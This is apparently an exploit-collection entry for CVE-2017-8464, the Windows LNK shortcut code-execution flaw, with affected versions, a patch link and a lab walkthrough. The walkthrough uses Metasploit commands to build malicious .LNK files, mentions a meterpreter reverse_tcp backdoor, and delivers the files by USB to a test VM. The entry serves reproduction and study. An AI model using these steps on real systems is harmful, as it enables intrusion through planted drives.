### CVE-2017-8464

#### Describe

Windows Shell in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows local users or remote attackers to execute arbitrary code via a crafted .LNK file, which is not properly handled during icon display in Windows Explorer or any other application that parses the icon of the shortcut. aka "LNK Remote Code Execution Vulnerability."


#### ImpactVersion

| Product             | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------ |
| Windows 10          | x86/x64          |         |        |        |
| Windows 10          | x86/x64          | 1511    |        |        |
| Windows 10          | x86/x64          | 1607    |        |        |
| Windows 10          | x86/x64          | 1703    |        |        |
| Windows 7           | x86/x64          |         | SP1    |        |
| Windows 8.1         | x86/x64          |         |        |        |
| Windows Rt 8.1      |                  |         |        |        |
| Windows Server 2008 | x86/x64          |         | SP2    |        |
| Windows Server 2008 | x86/x64          | R2      | SP1    |        |
| Windows Server 2012 |                  |         |        |        |
| Windows Server 2012 |                  | R2      |        |        |
| Windows Server 2016 |                  |         |        |        |

#### Patch

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
```

#### Utilization

Test Machine Windows 7 SP1 X64, use MSF to use

```
use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec #If the x86 uses Windows / Exec, you can also set the back door windows/x64/meterpreter/reverse_tcp
set cmd cmd.exe
set EXITFUNC thread
run
```

Generate files

![CVE-2017-8464_win7_x86_msf](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf.png)

Run the command to copy it into the test directory

```
cp -r /root/.msf4/local/ /root/test
```

![CVE-2017-8464_win7_x86_msf2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf2.png)

Then copy all of these files to the U disk, then plug in the computer.

The test machine is a virtual machine, so you need to make a patch ** KB2533623 ** and a driver**Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43_v2**，Then the USB is set to 3.0, and the patch of Windows7 is here.

```
https://github.com/Ascotbe/WinKernelhub/tree/master/Patch
```

GIF map is as follows

![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86.gif)

#### Analyze
- https://my.oschina.net/u/4310658/blog/3695267
- https://www.anquanke.com/post/id/202705
- https://wohin.me/0dayan-quan-external-stuxnet-cve-2017-8464/
- https://blog.csdn.net/baidu_41647119/article/details/103875396
- http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt